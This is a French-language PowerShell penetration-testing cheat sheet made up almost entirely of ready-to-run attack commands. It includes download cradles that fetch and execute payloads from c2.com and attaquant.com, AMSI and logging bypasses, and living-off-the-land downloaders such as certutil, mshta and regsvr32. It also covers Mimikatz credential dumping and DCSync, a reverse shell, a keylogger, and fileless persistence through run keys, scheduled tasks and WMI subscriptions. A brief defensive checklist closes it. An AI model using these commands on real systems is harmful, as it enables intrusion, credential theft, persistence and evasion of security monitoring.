PowerShell Pentest
PowerShell est un vecteur privilégié pour le pentest Windows : accès natif à .NET, WMI, et l’ensemble des API Windows, sans dépôt de binaires sur disque. La maîtrise de PowerShell est essentielle pour les phases de post-exploitation, l’énumération AD, et la création de charges discètes.
Exécution et contournement de l’ExecutionPolicy§
# ExecutionPolicy — contrôle quels scripts peuvent s'exécuter
# N'est PAS une barrière de sécurité (contournable trivialement)
Get-ExecutionPolicy -List
# Bypass de l'ExecutionPolicy (plusieurs méthodes)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ExecutionPolicy Unrestricted -File script.ps1
powershell -ep bypass
# Lire et exécuter un script (stdin)
Get-Content script.ps1 | powershell -
# Encoder la commande en base64 (contourne les restrictions de parsing)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://attaquant.com/payload.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
# Lancer une session PowerShell 2.0 (sans AMSI, sans logging amélioré)
powershell -version 2 -ExecutionPolicy Bypass
Download Cradles — Chargement en mémoire§
Le chargement en mémoire évite le dépôt de fichiers sur disque (contourne certains AV).
# IEX + WebClient (classique)
IEX (New-Object Net.WebClient).DownloadString('http://attaquant.com/script.ps1')
# IEX + alias
(New-Object Net.WebClient).DownloadString('http://c2.com/payload.ps1') | IEX
# Invoke-Expression via variable
$code = (New-Object Net.WebClient).DownloadString('http://c2.com/p.ps1')
Invoke-Expression $code
# WebRequest (cmdlet PowerShell)
IEX (Invoke-WebRequest 'http://c2.com/payload.ps1' -UseBasicParsing).Content
# Via BitsTransfer (utilise BITS — Background Intelligent Transfer Service)
Start-BitsTransfer -Source 'http://c2.com/payload.ps1' -Destination $env:TEMP\p.ps1
IEX (Get-Content $env:TEMP\p.ps1 -Raw)
# Contourner les proxies d'entreprise
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('http://c2.com/payload.ps1')
# HTTPS avec vérification désactivée (certificat auto-signé C2)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX (New-Object Net.WebClient).DownloadString('https://c2.com/payload.ps1')
Énumération Active Directory§
# Sans modules tiers — via ADSI (Active Directory Service Interfaces)
# Lister tous les utilisateurs du domaine
$dom = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://$($dom.Name)"
# Trouver tous les utilisateurs
$searcher.Filter = "(&(objectClass=user)(objectCategory=person))"
$searcher.FindAll() | ForEach-Object { $_.Properties['samaccountname'] }
# Trouver les administrateurs du domaine
$searcher.Filter = "(&(objectClass=group)(sAMAccountName=Domain Admins))"
$members = ($searcher.FindOne()).Properties['member']
$members | ForEach-Object { Write-Host $_ }
# Trouver les comptes Kerberoastables (SPN non vides)
$searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!(samAccountName=krbtgt)))"
$searcher.FindAll() | ForEach-Object {
$user = $_.Properties['samaccountname']
$spns = $_.Properties['serviceprincipalname']
Write-Host "$user : $spns"
}
# Trouver les comptes avec délégation sans contrainte
$searcher.Filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.FindAll() | ForEach-Object { $_.Properties['dnshostname'] }
# PowerView (PowerSploit) — module d'énumération AD complet
# Chargement en mémoire
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerView.ps1')
# Informations sur le domaine
Get-Domain
Get-DomainController
Get-DomainTrust
# Utilisateurs et groupes
Get-DomainUser | Select-Object samaccountname, description, pwdlastset
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainUser -SPN # Kerberoastable
# Ordinateurs et sessions
Get-DomainComputer | Select-Object dnshostname, operatingsystem
Get-NetSession -ComputerName DC01 # Qui est connecté sur DC01
Find-LocalAdminAccess # Sur quelles machines on a des droits admin
# ACLs intéressantes (GenericAll, WriteDACL, etc.)
Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName
# GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
Get-DomainGPOLocalGroup # Qui est admin local via GPO
Remoting PowerShell (WinRM)§
# WinRM — exécution de commandes à distance (port 5985 HTTP, 5986 HTTPS)
# Test de connectivité WinRM
Test-WSMan -ComputerName DC01
# Session interactive
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)
# Exécution de commande unique
Invoke-Command -ComputerName DC01 -ScriptBlock { Get-Process } -Credential $creds
# Exécution sur plusieurs machines en parallèle
$machines = @('SRV01', 'SRV02', 'SRV03')
Invoke-Command -ComputerName $machines -ScriptBlock {
whoami; hostname; ipconfig
} -Credential $creds
# Persistance de session (pour éviter les connexions multiples)
$session = New-PSSession -ComputerName DC01 -Credential $creds
Invoke-Command -Session $session -ScriptBlock { Get-ADUser -Filter * }
Remove-PSSession $session
# Avec Pass-the-Hash (via Invoke-TheHash / impacket)
# winrm_exec.py domaine/alice:@192.168.1.10 -hashes :NTLM_HASH
Bypass AMSI§
AMSI (Antimalware Scan Interface) analyse les scripts PowerShell avant exécution.
# AMSI — fonctionnement
# PowerShell appelle AmsiScanBuffer() avant d'exécuter tout bloc de code
# L'AV implémente le provider AMSI et peut bloquer l'exécution
# Bypass classique — patch en mémoire du provider AMSI
# (fonctionne car PowerShell est non-signé)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}
# Bypass via réflexion (obfusqué pour éviter la détection par signature)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Bypass via corrupton du contexte AMSI (plus furtif)
$mem = [System.Runtime.InteropServices.Marshal]
$ptr = $mem::GetDelegateForFunctionPointer(
(Add-Type -memberDefinition '[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string lpModuleName);' -Name Win32 -passthru)::GetProcAddress(
([Win32]::GetModuleHandle("amsi.dll")), "AmsiScanBuffer"),
(Add-Type -MemberDefinition '' -Name T -passthru -ReferencedAssemblies mscorlib)
)
Techniques Living off the Land§
Utiliser des outils légitimes Windows pour éviter les alertes AV/EDR.
# Téléchargement de fichiers sans wget/curl
# certutil — décodage base64
certutil -urlcache -split -f http://c2.com/payload.exe payload.exe
# bitsadmin (obsolète mais présent)
bitsadmin /transfer myJob http://c2.com/payload.exe C:\Windows\Temp\payload.exe
# Copie via WebDAV (file:// ou WebDAV share)
copy \\attacker.com@80\share\payload.exe C:\Windows\Temp\
# Exécution sans écrire sur disque
# mshta — exécuter du VBScript/JScript via HTA
mshta http://c2.com/payload.hta
# regsvr32 (squiblydoo) — COM scriptlet
regsvr32 /s /n /u /i:http://c2.com/payload.sct scrobj.dll
# rundll32 — exécuter des fonctions de DLL
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";eval("w=new ActiveXObject('WScript.Shell');w.run('powershell ...');")
# Énumération sans PowerShell (cmd.exe)
wmic useraccount get name,sid
wmic group where "name='Domain Admins'" get name
net localgroup administrators
Modules offensifs utiles§
# PowerSploit — collection de modules offensifs
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Recon/PowerView.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Privesc/PowerUp.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')
# PowerUp — élévation de privilèges Windows
Invoke-AllChecks # Identifier tous les vecteurs PrivEsc
Get-ServiceUnquoted # Services avec chemin non quoté
Get-ModifiableServiceFile # Services dont le binaire est modifiable
Invoke-ServiceAbuse # Exploiter un service vulnérable
# Invoke-Mimikatz (PowerShell Mimikatz)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
# Nishang — collection de scripts offensifs
# Reverse shell PowerShell
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444
# Keylogger PowerShell
Invoke-Keylogger
Persistance via PowerShell§
# Registry Run Key
$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $RegPath -Name "Update" -Value 'powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\"http://c2.com/p.ps1\")"'
# Tâche planifiée
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-ep bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://c2.com/p.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger -RunLevel Highest
# WMI Subscription permanente (sans fichier, survit aux reboots)
$FilterArgs = @{
Name = 'BadFilter'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{
Name = 'BadConsumer'
CommandLineTemplate = 'powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(\"http://c2.com/p.ps1\")"'
}
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
Filter = [Ref]$Filter
Consumer = [Ref]$Consumer
}
Logging et détection§
Journaux à connaître pour éviter la détection :
Event ID 400 / 403 : démarrage/arrêt d'un pipeline PowerShell
Event ID 4103 : Module Logging — log de chaque cmdlet appelée
Event ID 4104 : Script Block Logging — log de TOUT le code PowerShell exécuté
Event ID 4688 : création de processus (avec ligne de commande si configuré)
Event ID 7045 : nouveau service installé
Contournement du Script Block Logging :
→ Utiliser PowerShell 2.0 (pas de Script Block Logging)
→ Patcher le module de logging en mémoire
→ Utiliser des binaires .NET directement (C# inline avec Add-Type)
Bonne pratique défensive :
✓ Activer Script Block Logging et Module Logging (GPO)
✓ Activer Transcription PowerShell (log de toutes les sessions)
✓ Utiliser PowerShell Constrained Language Mode (CLM)
✓ AppLocker / WDAC pour restreindre les scripts non signés
✓ Bloquer PowerShell v2 (désinstaller la feature Windows)—The Gardener